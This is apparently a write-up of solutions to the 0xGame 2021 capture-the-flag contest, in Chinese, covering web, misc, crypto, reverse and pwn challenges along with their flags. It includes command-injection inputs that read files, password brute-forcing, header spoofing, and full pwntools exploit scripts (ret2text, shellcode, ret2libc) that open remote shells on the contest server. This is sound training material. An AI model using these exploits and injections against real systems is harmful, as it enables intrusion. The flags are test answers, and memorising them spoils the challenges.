Web
1. Robots
Robots
協議了解一下,robots.txt
會被放在網站根目錄下,告訴爬蟲哪些不能爬,哪些能爬。
直接訪問.../robots.txt
得到提示4ll.html
,之后直接訪問…/4ll.html
,F12
查看網頁源代碼,即可得到flag
.
0xGame{Rob0t_le4ks_seCr3t}
2. 愛ping才會贏
首先發現帶有Ping
字樣的按鈕是不可點擊的,F12
后將對應處的disabled="disabled"
刪除即可點中。
PHP
中實現Ping
的功能一般是通過類似於exec
system
的函數調用外部命令,在linux
中;
||
&&
等連接符可連接兩個獨立語句並執行。
輸入;ls /
可查看根目錄下的文件(相當於執行了Ping;ls /
),找到flag
后直接輸入;cat /flag
即可。
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}
3. 你看你能登錄嗎?
先進行目錄掃描(可用的工具很多),得到.../admin/
進入后台,根據提示密碼是個4位純數字,也就是說0233
也是合法的,之后直接爆破就好了(可用Burp Suite
或自己寫Python
腳本,比較簡單),賬號根據常識,肯定是admin
,密碼通過爆破得到,為0310
,進入后台即可拿到flag
.
0xGame{y0u_brut3_f0rc3_successfully}
4. 看看我的頭
題目的名字中就帶有提示,這里的“頭”是指“請求頭或響應頭”,可以拿Burp Suite
抓包查看,或者直接在F12
后在Network
中也可以看見。
點開題目后提示“打開方式不對”,這里的方式是指“請求方式”,我們抓包后發現此題是GET
方式,我們改成POST
方式再放包即可發現頁面有了變化,提示需要用“N1k0la
瀏覽器”訪問,所以,我們修改請求頭中User-Agent
的內容為N1k0la
,即可發現頁面又有了變化,提示“必須從本地來”,因此在請求頭中添加X-Forwarded-For
內容為本地IP
地址127.0.0.1
即可。
之后,得到一串編碼后的字符:
JGE9JF9HRVRbJzB4R2FtZTIwMjEnXTskYj0kX1BPU1RbJ1gxY1QzNG0nXTskZD0kX1BPU1RbJ1B1cGkxJ107JGM9J3dlbGNvbWUgdG8gdGhlIDB4R2FtZTIwMjEnO2lmKG1kNSgkYik9PW1kNSgkZCkmJiRhPT09JGMpe2VjaG8gJGZsYWc7fQ==
顯然是通過了Base64
編碼,解碼后,得到:
$a=$_GET['0xGame2021'];$b=$_POST['X1cT34m'];$d=$_POST['Pupi1'];$c='welcome to the 0xGame2021';if(md5($b)==md5($d)&&$a===$c){echo $flag;}
可以看到這個就是此題的PHP
源代碼,是個“弱類型”判斷(MD5
碰撞)。
其中,md5()
返回32位字符串,若均為0e開頭可被認為是科學計數法表示的數字0.
因此可提交:
?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m=aabg7XSs&Pupi1=aabC9RqS //POST
aabg7XSs => md5: '0e087386482136013740957780965295'
aabC9RqS => md5: '0e041022518165728065344349536299'
當然,md5()
也可以用數組繞過:當md5函數的參數為一個數組時,會報錯並返回NULL值。
因此還可以提交:
?0xGame2021=welcome to the 0xGame2021 //GET
X1cT34m[]=2333&Pupi1[]=2333 //POST
注意:用BurpSuite
進行POST
在最后要保留兩行“空行”。
最終,得到flag
:
0xGame{http_pr0t0c0l_1s_int3r3sting:-)}
Misc
1. Sign in
0xGame{Welc0m_to_0xGame2021}
2. A translate draft
附件是一個加密了的zip
,這是zip
偽加密,使用010
十六進制編輯器打開,將80F0h
行的09
改為00
即可解密。
壓縮包內的word
中有文字被隱寫了,將文字全選,改為黑體字,即可看到被隱寫的內容:GB4EOYLNMV5W4MLDMVPXK===
,使用Base32
解密得到flag
的前半段:0xGame{n1ce_u
。
打開壓縮包,選中word
,右擊 => 查看文件,可看到該word
也是一個壓縮文件,其中word
文件夾內有HiddenBy13.txt
,其中內容是_s0haq_zr}
,但這並不是最終的flag
,根據文件名的提示,我們用Rot13
或凱撒密碼位移13
,即可得到另一半:_f0und_me}
。
0xGame{n1ce_u_f0und_me}
3. Kakurennbo
使用vim
打開,有藍色的零寬度字符,零寬度字符隱寫,將文本文檔內的內容解碼,得到被隱藏的內容:0xGame{k}kT_hnG0it4_7rs4_i7nubB0_w
,使用柵欄W型密碼解密,欄數21
,解密后,得到flag
:0xGame{kk_n0t_r4inb0w_Bu7_s74iGhT}
.
4. 認真的血
先使用 WinRAR
解壓(其他壓縮軟件,如Bandizip
好像不行),使用lads.exe
檢測到有NTFS
數據流在音頻文件中,在命令行中執行notepad 認真的雪.m4a:flag.txt
即可提取到內容(或者直接用NTFS Streams Editor
提取):
He comes and leaves with no survival. HIS CODENAME: 47
_Iv2>6L}%u$0qcD:40Df68N
根據提示,使用Rot47
解碼,得到flag
:0xGame{NTFS_B4sic_s7eg}
5. ezAlgorithm
一個基礎得不能再基礎的算法題,考慮動態規划。
狀態轉移方程:dp[i] = dp[i-1] + dp[i-2] + dp[i-3]
參考代碼:
#include<bits/stdc++.h>
using namespace std;
int n,m,k;
const int mod=1435756429;
set<int> bad;
long long dp[4000005];
int main()
{
scanf("%d%d",&n,&m);
for(int i=1;i<=m;i++)
{
scanf("%d",&k);
bad.insert(k);
}
for(int i=1;i<=n;i++)
{
if(bad.find(i)!=bad.end())continue;
if(i==1){dp[i]=1;continue;}
else if(i==2){dp[i]=dp[i-1]+1;continue;}
else if(i==3){dp[i]=dp[i-1]+dp[i-2]+1;continue;}
dp[i]=((dp[i-1]+dp[i-2])%mod+dp[i-3])%mod;
}
printf("%lld\n",dp[n]);
return 0;
}
得到flag
:0xGame{651977145}
Crypto
1. Crypto Sign in
0xGame{Welcom_to_Cryptogrphy_World_!}
2. CuteCaesar
先進行獸語解碼,得到:0aJdph{fdhvdu_1v_q0w_fxwh}
,使用凱撒密碼解密,得到flag
:0xGame{caesar_1s_n0t_cute}
.
3. manycode
看到顏文字,首先AAencode
解碼,得:
4A5645475153435A4B345957595A4A524B4A3347454D4A5A4F5249554F4E4A564C415A453235323249524844533D3D3D
觀察到,最大的也就F
,因此想到Base16
解碼,得:
JVEGQSCZK4YWYZJRKJ3GEMJZORIUONJVLAZE2522IRHDS===
觀察到,最末尾有三個等號(占位符),因此想到Base32
解碼,得:
MHhHYW1le1Rvb19tQG55X2MwZDN9
最后,再Base64
解碼,得到flag
:
0xGame{Too_m@ny_c0d3}
4. MyFunction
本質就是個解方程的問題:已知xlnx
,求x
。
我很暴力,直接先打表,把x
為65~122
再加上左右小括號的ASCII碼40
41
(這些常用字符ASCII碼)的時候,xlnx
的值打出來,再寫個程序到output.txt
里查值對比即可。
(更加暴力的)參考腳本:
from math import log
def get_ans(num):
for x in range(1, 200):
if x * log(x) == num:
print(chr(x), end='')
f = open('./output.txt')
ans = f.readlines()
for i in range(len(ans)):
ans[i] = float(ans[i].replace('\n', ''))
get_ans(ans[i])
0xGame{YouH4veKn0wedPy7honL081s<y=ln(x)>InM47hs}
5. Class8
第一行,從左至右,依次為:盲文,跳舞的小人,豬圈密碼,手機九宮格按鍵加密,摩斯電碼
解密的結果是:CLASS
第二行,從左至右,依次為:盲文,跳舞的小人,銀河密碼,摩斯電碼,培根密碼
解密的結果是:LNRDD
第三行,從左至右,依次為:手機九宮格按鍵加密,銀河密碼,鍵盤圖形碼,摩斯電碼,培根密碼
解密的結果是:LDVTN
最后一行是手機九宮格按鍵加密,解密為B
合起來,flag
為0xGame{CLASSLNRDDLDVTNB}
.
6. ABC Of RSA
一個基礎RSA加密算法:已知p,q,e
,求d
.
0xGame{39982249}
7. ezVigenère
維吉尼亞密碼無密鑰破解,可以寫個程序爆破密鑰,最終得到密鑰為:abc
.
0xGame{interest1ng_Vigenere}
8. BlackGiveRSA
求出d = 1540111621310965943
有性質:m = (c ^ d) % n
,其中m
是明文,c
是密文。
由給出的密文,求出對應的明文(大數據,防止溢出,要用高精度,可以用Python
的gmpy2
擴展庫或者Java
的BigInteger
或者上大數計算的網站算),再反過來寫個腳本:
from Crypto.Util.number import *
print(long_to_bytes(13643046854681979),end="")
print(long_to_bytes(18973676576264805),end="")
print(long_to_bytes(31037449384842088),end="")
print(long_to_bytes(29636688785989998),end="")
print(long_to_bytes(29073739401619561),end="")
print(long_to_bytes(22874675212740989),end="")
0xGame{ChuTiRenDeQQShiJiShangJiuShiQDeZhi}
Reverse
1. Signin: User Friendly
甚至不用IDA
,直接拿Notepad
之類的打開,查找即可。
0xGame{we1c0me_2_Rever5e_egin44ring}
2. Packet
先查殼,發現有upx殼,再脫殼即可(我是用upx.exe
,命令執行.\upx.exe -d 文件路徑
)
(a&~b)|(b&~a)
等價於a ^ b
,位運算異或有自反性,即A ^ B ^ B = A ^ ( B ^ B ) = A ^ 0 = A
根據此性質,可寫出如下代碼:
enc = [0x91, 0x77, 0x0FB, 0x0E, 0x0B7, 0x0CC, 0x0E4, 0x38, 0x11, 0x94, 0x0FD, 0x85, 0x5C, 0x91, 0x84, 0x5C, 0x7D, 0x67, 0x27, 0x134, 0x135, 0x0A, 0x0D8, 0x23, 0x0D, 0x30, 0x65, 0x3E, 0x13, 0x45, 0x54, 0x52, 0x51, 0x3E, 0x0B0, 0x0D9, 0x13, 0x33, 0x0C3, 0x0FF]
check = [0x0A1, 0x0F, 0x0BC, 0x6F, 0x0DA, 0x0A9, 0x9F, 0x5E, 0x29, 0x0F6, 0x0C5, 0x0E4, 0x6E, 0x0F2, 0x0B1, 0x38, 0x1B, 1 , 0x11, 0x100 , 0x100 , 0x32, 0x0E9, 0x41, 0x68, 2, 4, 6, 0x2A, 0x70, 0x37, 0x6B, 0x30, 0x5D, 0x82, 0x0E8, 0x25, 0x57, 0x0F2, 0x82]
for i in range(40):
print(chr(enc[i]^check[i]), end="")
0xGame{f8b8a2c5dff64581be2a895c9ac216d1}
3. Our Compilation Story
根據異或的自反性,寫出如下代碼:
k = [21,44,45,104,31,30,26,121,65,125,23,112,77,46,47,126,89,112,7,109,7,88,10,105,104,59,54,91,83,98,32,54,15,65,113,119,113]
k = k[::-1]
for i in range(3,37):
print(chr(k[i]^k[i-3]),end="")
0xGame{Th3_10ng_w4y_w3_901ng_fr33}
4. Random Chaos
偽隨機數,即如果系統提供的隨機種子沒有變化,每次調用rand
函數生成的偽隨機數序列都是一樣的。
通常可以利用系統時間來改變系統的種子值,即srand(time(NULL))
,可以為rand
函數提供不同的種子值,進而產生不同的隨機數序列。
再結合異或的自反性,寫出如下代碼:
#include<bits/stdc++.h>
using namespace std;
int a[45]={0x22, 0x0CA, 7, 0x19, 0x0F8, 0x0FB, 0x28, 0x9D, 0x1E, 0x80, 0x0AC, 0x0C9, 0x60, 0x46, 0x18, 0x21, 0x0DF, 0x95, 0x0D5, 0x70, 0x0C5, 0x19, 0x0EA, 0x0B0, 0x9C, 0x83, 0x11, 0x4A, 0x93, 0x0C7, 0x91, 0x0F6, 0x14, 0x71, 0x2F, 0x22, 0x14, 0x0BF, 0x58, 0x76, 0};
int main()
{
srand(0x2021u);
for(int i=0;i<=39;i++)
{
cout<<(char)((unsigned __int8)rand()^a[i]);
}
return 0;
}
0xGame{d6ca93397ecb4d4e83792a7100737932}
5. Neverland
導致Neverland
的原因有兩點,第一是因為原程序中重復遞歸調用了之前調用過的函數,浪費了大量的時間,因此,我們可以采取”記憶化“的思路,將其結果保存下來,方便之后直接讀取,二是因為idx
里的數太大了,我們通過找規律可知:在一定數量之后,idx
中值的奇偶性直接影響結果,使其循環出現(其實是unsigned int
反復溢出造成的現象)。
參考代碼:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
unsigned int idx[45]={9, 0x0F, 0x0C, 3, 2, 0x10, 0x0B, 0x0E, 7, 0x0A, 0x2E, 0x2D, 0x2B, 0x2E, 0x2F, 0x2D, 0x2F, 0x28, 0x31, 0x3A, 0x31, 0x33, 0x33, 0x2B, 0x32, 0x37, 0x37, 0x38, 0x3C, 0x30, 0x0FFFFFFCE, 0xFFFFFF93, 0x0FFFFFFD8, 0x0FFFFFFF2, 0x0FFFFFFDF, 0x0FFFFFF70, 0x0FFFFFF72, 0x0FFFFFFD0, 0x0FFFFFFA6, 0x0FFFFFF9A};
unsigned int enc[45]={0x0BFFCC, 0x0BFFFFF84, 0x3000043, 0x0DD, 0x59, 0x61, 0x0BFFF87, 0x30000035, 0x0BF99, 0x300032, 0x36, 0x0FFFFFFC9, 0x0FFFFFF98, 0x30, 0x0FFFFFF9F, 0x0FFFFFFCC, 0x0FFFFFFC8, 0x62, 0x0FFFFFF99, 0x30, 0x0FFFFFFC8, 0x0FFFFFF9A, 0x0FFFFFFC5, 0x0FFFFFF9E, 0x32, 0x0FFFFFFC4, 0x0FFFFFFC8, 0x60, 0x3D, 0x35, 0x3D, 0x0FFFFFFCB, 0x34, 0x3C, 0x0FFFFFF9F, 0x65, 0x65, 0x33, 0x66, 0x79};
unsigned int num[60];
int main()
{
char v0;
num[0]=7;num[1]=8;
for(int i=2;i<=60;i++)num[i]=3*num[i-1]+4*num[i-2]; //記憶化
for(int i = 0; i <= 39; ++i)
{
if(idx[i]>60){if(idx[i]%2)v0=4294967292; else v0=4;}
else v0=num[idx[i]]; //奇偶性
putchar((char)(v0 ^ LOBYTE(enc[i])));
}
return 0;
}
0xGame{1e625d4c04fe44f9b684d919708caa7b}
6. Roundabout
根據異或的自反性,寫出如下代碼:
#include<bits/stdc++.h>
using namespace std;
char b[20] = {0x74,'h','i','s','_','i','s','_','n','o','t','_','f','l','a','g'};
int v[45] = {0x44, 0x10, 0x2E, 0x12, 0x32, 0x0C, 8, 0x3D, 0x56, 0x0A, 0x10, 0x67,0, 0x41, 0, 1, 0x46, 0x5A, 0x44, 0x42, 0x6E, 0x0C, 0x44, 0x72, 0x0C, 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 2, 1, 0x4C, 0x5E, 0x5B, 0x17, 0x6E, 0x0C, 0x16, 0x68, 0x5B, 0x12};
int main()
{
for(int i=0;i<42;i++)cout<<(char)(v[i] ^ b[i%16]);
return 0;
}
0xGame{b8ed8f-af22-11e7-bb4a-3cf862d1ee75}
7. Zero Three
使用python
的Z3
擴展庫解方程,參考代碼如下:
HINT:
程序計算flag
會用到兩部分計算:前面一部分會用到前半段flag
,后面一部分計算會用到整段flag
,如果你的z3
約束求解遲遲未出結果,或許你可以嘗試只約束后半部分計算,依然能得到正確的flag
.
from z3 import *
x = Solver()
p0,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11,p12,p13,p14,p15 = Ints('p0 p1 p2 p3 p4 p5 p6 p7 p8 p9 p10 p11 p12 p13 p14 p15')
num0,num1,num2,num3,num4,num5,num6,num7 = Ints('num0 num1 num2 num3 num4 num5 num6 num7')
x.add(num0 == p0 + p1*256 + p2*256*256 + p3*256*256*256)
x.add(num1 == p4 + p5*256 + p6*256*256 + p7*256*256*256)
x.add(num2 == p8 + p9*256 + p10*256*256 + p11*256*256*256)
x.add(num3 == p12 + p13*256 + p14*256*256 + p15*256*256*256)
x.add(2 * p5 + 8225 - p0 - 9 * p3 - p4 - p9 + p10 - 6 * p11 - p13 - 3 * p14 - 5 * p15 == 5643)
x.add(3 * p14 + 8 * p10 - 3 * p2 - 6 * p0 + 8225 - p1 - 2 * p5 + 3 * p8 - 8 * p11 + 4 * p12 - 6 * p15 == 6620)
x.add((-5) * p12 - 7 * p6 - 3 * p1 + 8225 - 2 * p0 - p2 - 5 * p3 - 7 * p4 - 6 * p5 - 2 * p8 + 6 * p13 == 5538)
x.add(2 * p5 + 2 * p1 + 8225 - 2 * p0 - 2 * p3 + 3 * p4 - 2 * p8 - p10 - p12 - 2 * p14 - 2 * p15 == 7693)
x.add((-6) * p14 + 8225 - 2 * p1 - 2 * p2 - 9 * p3 + 2 * p4 - 5 * p7 + 2 * p8 - 9 * p9 - 4 * p10 - 6 * p15 == 4735)
x.add(9 * p14 - 7 * p10 + 8 * p9 + 5 * p0 + 8225 - p2 + p5 - 5 * p6 - 8 * p11 - p12 - 9 * p15 == 7060)
x.add(p13 - 5 * p7 - 3 * p2 - 3 * p0 + 8225 - 4 * p1 - 4 * p4 - p6 + 9 * p10 - 2 * p14 - 6 * p15 == 5864)
x.add((-9) * p14 - 3 * p10 + 9 * p1 - 6 * p0 + 8225 - 5 * p3 - 4 * p7 - 2 * p11 - 2 * p12 + p13 + 9 * p15 == 7393)
x.add(6 * p9 - 5 * p8 - 3 * p6 + 9 * p2 + 8225 - p4 + 3 * p5 - 7 * p7 + 7 * p10 - 2 * p13 - p14 == 8442)
x.add(8 * p6 - 7 * p2 + 8225 - 8 * p1 - p3 + 6 * p4 - p7 + 5 * p8 - 4 * p10 - p14 + 7 * p15 == 8376)
x.add(-22827 * num4 + 21984 * num1 + -38534 * num5 - 32344 * num0 == -98460819657603)
x.add(-38215 * num2 + -37324 * num4 + -8436 * num5 + 15405 * num0 == -131665436206262)
x.add(10926 * num7 + -28942 * num1 + -34572 * num3 - 10538 * num5 == -121891239772992)
x.add(-30117 * num6 + -22990 * num2 + -20471 * num5 + 34494 * num7 == -57089882568260)
x.add(-33112 * num5 + -19335 * num4 + 34348 * num1 + 31445 * num2 == 56335531538050)
x.add(-13566 * num5 + 14758 * num0 + -19814 * num2 - 26447 * num4 == -81105980248303)
x.add(25898 * num5 + -15817 * num1 + 20463 * num7 - 33578 * num0 == -28860618440412)
x.add(-35429 * num7 + 36594 * num2 + -28801 * num6 - 14952 * num3 == -45384029412201)
x.check() #sat
print(x.model())
我將python
中得到的num[]
結果寫入了num.txt
當中,再寫了個程序轉化成flag
(自行意會):
#include<bits/stdc++.h>
using namespace std;
int n,x,y,z;
int main()
{
freopen("num.txt","r",stdin);
while(scanf("%d",&n)!=EOF)
{
z=n/256/256/256;
n-=z*256*256*256;
y=n/256/256;
n-=y*256*256;
x=n/256;
n-=x*256;
cout<<(char)n<<(char)x<<(char)y<<(char)z;
}
return 0;
}
附上num.txt
(num0 ~ num7
) :
1685677173
2017608537
1983267413
1950446449
1933792821
1145785398
1280864594
1465083989
0xGame{udydYCBxUB6vqsAt5VCs6LKDRqXLUhSW}
Pwn
1. Pwn?!
直接nc 121.4.15.155 10000
,連上ls
查看文件,再cat flag
即可拿到flag
.
0xGame{22e92cf4-6c88-4345-aa9e-0dc4111064da}
2. ret2text
先file pwn
,看到這是一個64
位的ELF
文件,再checksec pwn
,發現只開了NX
,即棧不可執行保護,使用IDA
后發現,有system
,也有/bin/sh
這個字符串,那就好辦了,典型的ret2text
(具體原理不贅述).
64
位中,system
等函數會先向RDI
等六個寄存器優先”要參數“,若是參數不止六個,再去找壓入棧的數據(注意是小端序)。
參考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10003)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401253
payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
0xGame{aaf53894-1058-4579-a389-25541c96ab9b}
3. No BackDoor!
我不是很清楚為啥會和上題一毛一樣emmmm
參考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10001)
pwn = ELF("pwn")
system_addr = pwn.plt['system']
bin_sh_addr = next(pwn.search(b'/bin/sh'))
pop_rdi_addr = 0x401223
payload = b'A'*(0x50 + 8) + p64(pop_rdi_addr + 1) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
0xGame{bcdf39ba-a811-4bbb-aefc-aad3c764c963}
4. WTF?Shellcode
checksec pwn
,發現保護全沒開,包括NX
(棧不可執行),因此可以執行ShellCode
。
直接看匯編代碼吧,看到:
mov rax, [rbp+buf]
add rax, 20h
mov rdx, rax
call rdx
意味着,我們的ShellCode
要放入棧頂以上20h
處的位置,才能成功call
,使之執行。
故,我們需要先填充0x20
個字節的垃圾數據。
參考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10002)
context.arch = 'amd64'
shellcode = b'S'*0x20 + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()
0xGame{ab52497b-7275-4097-8e8d-e2b420c2013b}
5. ret2libc pro max
沒有system
,也沒有/bin/sh
,因此考慮ret2libc
,具體原理不再贅述.
在64
位計算機中,一個地址的長度是8
字節,但是實際的操作系統中,一個地址的最高位的兩個字節是00
,而且實際的函數地址是0x7fxxxx
開頭的,因此為了避免獲取錯誤的地址值,只需要獲取低6字節值,然后通過ljust
函數把最高位的兩字節填充成00
.
此外,需要注意的是,在64
位中,system
函數調用時需要rsp
是16
字節對齊的(即最后兩位為00
),因此需要多寫一個ret
使rsp+=8
或者跳過push rbp
使rsp-=8
不會執行,以實現“堆棧平衡”。
最后,最好別用LibcSearcher
,還是在線查一下libc
的庫。
參考exp.py
:
from pwn import *
io = remote("121.4.15.155", 10004)
pwn = ELF("pwn")
puts_plt_address = pwn.plt['puts']
puts_got_address = pwn.got['puts']
main_address = pwn.symbols['main']
pop_rdi_address = 0x401223
ret_address = 0x401224
io.recvuntil("funny\n")
payload = b'A'*(0x50 + 8) + p64(pop_rdi_address) + p64(puts_got_address) + p64(puts_plt_address) + p64(main_address)
io.sendline(payload)
puts_address = u64(io.recv(6).ljust(8,b'\x00'))
libcbase = puts_address - 0x06f6a0
system_address = 0x0453a0 + libcbase
binsh_address= 0x18ce17 + libcbase
payload = b'A'*(0x50 + 8) + p64(ret_address) + p64(pop_rdi_address) + p64(binsh_address) + p64(system_address)
io.sendline(payload)
io.interactive()
0xGame{6123733d-ede7-4e42-af50-be23c066a25c}